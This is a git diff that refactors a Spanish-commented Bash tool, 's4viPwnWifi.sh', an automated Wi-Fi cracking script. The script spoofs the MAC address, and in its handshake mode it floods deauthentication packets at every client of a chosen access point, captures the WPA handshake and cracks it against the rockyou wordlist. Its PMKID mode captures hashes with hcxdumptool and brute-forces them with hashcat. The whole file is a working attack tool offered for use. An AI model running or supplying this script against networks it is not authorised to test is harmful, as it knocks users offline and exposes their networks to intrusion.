diff --git a/s4viPwnWifi.sh b/s4viPwnWifi.sh
index ba17873..6c45aa4 100755
--- a/s4viPwnWifi.sh
+++ b/s4viPwnWifi.sh
@@ -1,133 +1,160 @@
 #!/bin/bash
 
-# Author: s4vitar - nmap y pa' dentro
+# Autor: s4vitar - nmap y pa' dentro
 
-#Colours
+# Colores
 greenColour="\e[0;32m\033[1m"
 endColour="\033[0m\e[0m"
 redColour="\e[0;31m\033[1m"
 blueColour="\e[0;34m\033[1m"
 yellowColour="\e[0;33m\033[1m"
 purpleColour="\e[0;35m\033[1m"
-turquoiseColour="\e[0;36m\033[1m"
 grayColour="\e[0;37m\033[1m"
 
 export DEBIAN_FRONTEND=noninteractive
 
 trap ctrl_c INT
 
-function ctrl_c(){
-	echo -e "\n${yellowColour}[*]${endColour}${grayColour}Saliendo${endColour}"
-	tput cnorm; airmon-ng stop ${networkCard}mon > /dev/null 2>&1
-	rm Captura* 2>/dev/null
-	exit 0
+# Función para manejar la interrupción (Ctrl+C)
+function ctrl_c() {
+    echo -e "\n${yellowColour}[*]${endColour}${grayColour}Saliendo${endColour}"
+    tput cnorm
+    airmon-ng stop "${networkCard}mon" > /dev/null 2>&1
+    rm Captura* 2>/dev/null
+    exit 0
 }
 
-function helpPanel(){
-	echo -e "\n${yellowColour}[*]${endColour}${grayColour} Uso: ./s4viPwnWifi.sh${endColour}"
-	echo -e "\n\t${purpleColour}a)${endColour}${yellowColour} Modo de ataque${endColour}"
-	echo -e "\t\t${redColour}Handshake${endColour}"
-	echo -e "\t\t${redColour}PKMID${endColour}"
-	echo -e "\t${purpleColour}n)${endColour}${yellowColour} Nombre de la tarjeta de red${endColour}"
-	echo -e "\t${purpleColour}h)${endColour}${yellowColour} Mostrar este panel de ayuda${endColour}\n"
-	exit 0
+# Función para mostrar el panel de ayuda
+function helpPanel() {
+    echo -e "\n${yellowColour}[*]${endColour}${grayColour} Uso: ./s4viPwnWifi.sh${endColour}"
+    echo -e "\n\t${purpleColour}a)${endColour}${yellowColour} Modo de ataque${endColour}"
+    echo -e "\t\t${redColour}Handshake${endColour}"
+    echo -e "\t\t${redColour}PKMID${endColour}"
+    echo -e "\t${purpleColour}n)${endColour}${yellowColour} Nombre de la tarjeta de red${endColour}"
+    echo -e "\t${purpleColour}h)${endColour}${yellowColour} Mostrar este panel de ayuda${endColour}\n"
+    exit 0
 }
 
-function dependencies(){
-	tput civis
-	clear; dependencies=(aircrack-ng macchanger)
+# Función para instalar las dependencias
+function installDependencies() {
+    tput civis
+    clear
+    dependencies=("aircrack-ng" "macchanger")
+
+    echo -e "${yellowColour}[*]${endColour}${grayColour} Comprobando programas necesarios...${endColour}"
+    sleep 2
+
+    for program in "${dependencies[@]}"; do
+        echo -ne "\n${yellowColour}[*]${endColour}${blueColour} Herramienta${endColour}${purpleColour} $program${endColour}${blueColour}...${endColour}"
+
+        if command -v "$program" &>/dev/null; then
+            echo -e " ${greenColour}(V)${endColour}"
+        else
+            echo -e " ${redColour}(X)${endColour}\n"
+            echo -e "${yellowColour}[*]${endColour}${grayColour} Instalando herramienta ${endColour}${blueColour}$program${endColour}${yellowColour}...${endColour}"
+            apt-get install "$program" -y > /dev/null 2>&1
+        fi
+        sleep 1
+    done
+}
+
+# Función para iniciar el ataque
+function startAttack() {
+    clear
+    echo -e "${yellowColour}[*]${endColour}${grayColour} Configurando tarjeta de red...${endColour}\n"
+    airmon-ng start "$networkCard" > /dev/null 2>&1
+    ifconfig "${networkCard}mon" down && macchanger -a "${networkCard}mon" > /dev/null 2>&1
+    ifconfig "${networkCard}mon" up
+    killall dhclient wpa_supplicant 2>/dev/null
+
+    echo -e "${yellowColour}[*]${endColour}${grayColour} Nueva dirección MAC asignada ${endColour}${purpleColour}[${endColour}${blueColour}$(macchanger -s "${networkCard}mon" | grep -i current | xargs | cut -d ' ' -f '3-100')${endColour}${purpleColour}]${endColour}"
+
+    if [ "$attack_mode" == "Handshake" ]; then
+        startHandshakeAttack
+    elif [ "$attack_mode" == "PKMID" ]; then
+        startPKMIDAttack
+    else
+        echo -e "\n${redColour}[*] Este modo de ataque no es válido${endColour}\n"
+    fi
+}
+
+# Función para iniciar el ataque de Handshake
+function startHandshakeAttack() {
+    xterm -hold -e "airodump-ng ${networkCard}mon" &
+    airodump_xterm_PID=$!
+    echo -ne "\n${yellowColour}[*]${endColour}${grayColour} Nombre del punto de acceso: ${endColour}" && read -r apName
+    echo -ne "\n${yellowColour}[*]${endColour}${grayColour} Canal del punto de acceso: ${endColour}" && read -r apChannel
+
+    kill -9 "$airodump_xterm_PID"
+    wait "$airodump_xterm_PID" 2>/dev/null
 
-	echo -e "${yellowColour}[*]${endColour}${grayColour} Comprobando programas necesarios...${endColour}"
-	sleep 2
+    xterm -hold -e "airodump-ng -c $apChannel -w Captura --essid $apName ${networkCard}mon" &
+    airodump_filter_xterm_PID=$!
 
-	for program in "${dependencies[@]}"; do
-		echo -ne "\n${yellowColour}[*]${endColour}${blueColour} Herramienta${endColour}${purpleColour} $program${endColour}${blueColour}...${endColour}"
+    sleep 5
+    xterm -hold -e "aireplay-ng -0 10 -e $apName -c FF:FF:FF:FF:FF:FF ${networkCard}mon" &
+    aireplay_xterm_PID=$!
+    sleep 10
+    kill -9 "$aireplay_xterm_PID"
+    wait "$aireplay_xterm_PID" 2>/dev/null
 
-		test -f /usr/bin/$program
+    sleep 10
+    kill -9 "$airodump_filter_xterm_PID"
+    wait "$airodump_filter_xterm_PID" 2>/dev/null
 
-		if [ "$(echo $?)" == "0" ]; then
-			echo -e " ${greenColour}(V)${endColour}"
-		else
-			echo -e " ${redColour}(X)${endColour}\n"
-			echo -e "${yellowColour}[*]${endColour}${grayColour} Instalando herramienta ${endColour}${blueColour}$program${endColour}${yellowColour}...${endColour}"
-			apt-get install $program -y > /dev/null 2>&1
-		fi; sleep 1
-	done
+    xterm -hold -e "aircrack-ng -w /usr/share/wordlists/rockyou.txt Captura-01.cap" &
 }
 
-function startAttack(){
-		clear
-		echo -e "${yellowColour}[*]${endColour}${grayColour} Configurando tarjeta de red...${endColour}\n"
-		airmon-ng start $networkCard > /dev/null 2>&1
-		ifconfig ${networkCard}mon down && macchanger -a ${networkCard}mon > /dev/null 2>&1
-		ifconfig ${networkCard}mon up; killall dhclient wpa_supplicant 2>/dev/null
-
-		echo -e "${yellowColour}[*]${endColour}${grayColour} Nueva dirección MAC asignada ${endColour}${purpleColour}[${endColour}${blueColour}$(macchanger -s ${networkCard}mon | grep -i current | xargs | cut -d ' ' -f '3-100')${endColour}${purpleColour}]${endColour}"
-
-	if [ "$(echo $attack_mode)" == "Handshake" ]; then
-
-		xterm -hold -e "airodump-ng ${networkCard}mon" &
-		airodump_xterm_PID=$!
-		echo -ne "\n${yellowColour}[*]${endColour}${grayColour} Nombre del punto de acceso: ${endColour}" && read apName
-		echo -ne "\n${yellowColour}[*]${endColour}${grayColour} Canal del punto de acceso: ${endColour}" && read apChannel
-
-		kill -9 $airodump_xterm_PID
-		wait $airodump_xterm_PID 2>/dev/null
-
-		xterm -hold -e "airodump-ng -c $apChannel -w Captura --essid $apName ${networkCard}mon" &
-		airodump_filter_xterm_PID=$!
-
-		sleep 5; xterm -hold -e "aireplay-ng -0 10 -e $apName -c FF:FF:FF:FF:FF:FF ${networkCard}mon" &
-		aireplay_xterm_PID=$!
-		sleep 10; kill -9 $aireplay_xterm_PID; wait $aireplay_xterm_PID 2>/dev/null
-
-		sleep 10; kill -9 $airodump_filter_xterm_PID
-		wait $airodump_filter_xterm_PID 2>/dev/null
-
-		xterm -hold -e "aircrack-ng -w /usr/share/wordlists/rockyou.txt Captura-01.cap" &
-	elif [ "$(echo $attack_mode)" == "PKMID" ]; then
-		clear; echo -e "${yellowColour}[*]${endColour}${grayColour} Iniciando ClientLess PKMID Attack...${endColour}\n"
-		sleep 2
-		timeout 60 bash -c "hcxdumptool -i ${networkCard}mon --enable_status=1 -o Captura"
-		echo -e "\n\n${yellowColour}[*]${endColour}${grayColour} Obteniendo Hashes...${endColour}\n"
-		sleep 2
-		hcxpcaptool -z myHashes Captura; rm Captura 2>/dev/null
-
-		test -f myHashes
-
-		if [ "$(echo $?)" == "0" ]; then
-			echo -e "\n${yellowColour}[*]${endColour}${grayColour} Iniciando proceso de fuerza bruta...${endColour}\n"
-			sleep 2
-
-			hashcat -m 16800 /usr/share/wordlists/rockyou.txt myHashes -d 1 --force
-		else
-			echo -e "\n${redColour}[!]${endColour}${grayColour} No se ha podido capturar el paquete necesario...${endColour}\n"
-			rm Captura* 2>/dev/null
-			sleep 2
-		fi
-	else
-		echo -e "\n${redColour}[*] Este modo de ataque no es válido${endColour}\n"
-	fi
+# Función para iniciar el ataque de PKMID
+function startPKMIDAttack() {
+    clear
+    echo -e "${yellowColour}[*]${endColour}${grayColour} Iniciando ClientLess PKMID Attack...${endColour}\n"
+    sleep 2
+    timeout 60 bash -c "hcxdumptool -i ${networkCard}mon --enable_status=1 -o Captura"
+    echo -e "\n\n${yellowColour}[*]${endColour}${grayColour} Obteniendo Hashes...${endColour}\n"
+    sleep 2
+    hcxpcaptool -z myHashes Captura
+    rm Captura 2>/dev/null
+
+    if [ -f myHashes ]; then
+        echo -e "\n${yellowColour}[*]${endColour}${grayColour} Iniciando proceso de fuerza bruta...${endColour}\n"
+        sleep 2
+        hashcat -m 16800 /usr/share/wordlists/rockyou.txt myHashes -d 1 --force
+    else
+        echo -e "\n${redColour}[!]${endColour}${grayColour} No se ha podido capturar el paquete necesario...${endColour}\n"
+        rm Captura* 2>/dev/null
+        sleep 2
+    fi
 }
 
-# Main Function
-
-if [ "$(id -u)" == "0" ]; then
-	declare -i parameter_counter=0; while getopts ":a:n:h:" arg; do
-		case $arg in
-			a) attack_mode=$OPTARG; let parameter_counter+=1 ;;
-			n) networkCard=$OPTARG; let parameter_counter+=1 ;;
-			h) helpPanel;;
-		esac
-	done
-
-	if [ $parameter_counter -ne 2 ]; then
-		helpPanel
-	else
-		dependencies
-		startAttack
-		tput cnorm; airmon-ng stop ${networkCard}mon > /dev/null 2>&1
-	fi
+# Función Principal
+
+if [ "$(id -u)" -eq 0 ]; then
+    declare -i parameter_counter=0
+    while getopts ":a:n:h:" arg; do
+        case $arg in
+            a)
+                attack_mode="$OPTARG"
+                let parameter_counter+=1
+                ;;
+            n)
+                networkCard="$OPTARG"
+                let parameter_counter+=1
+                ;;
+            h)
+                helpPanel
+                ;;
+        esac
+    done
+
+    if [ "$parameter_counter" -ne 2 ]; then
+        helpPanel
+    else
+        installDependencies
+        startAttack
+        tput cnorm
+        airmon-ng stop "${networkCard}mon" > /dev/null 2>&1
+    fi
 else
-	echo -e "\n${redColour}[*] No soy root${endColour}\n"
+    echo -e "\n${redColour}[*] No soy root${endColour}\n"
 fi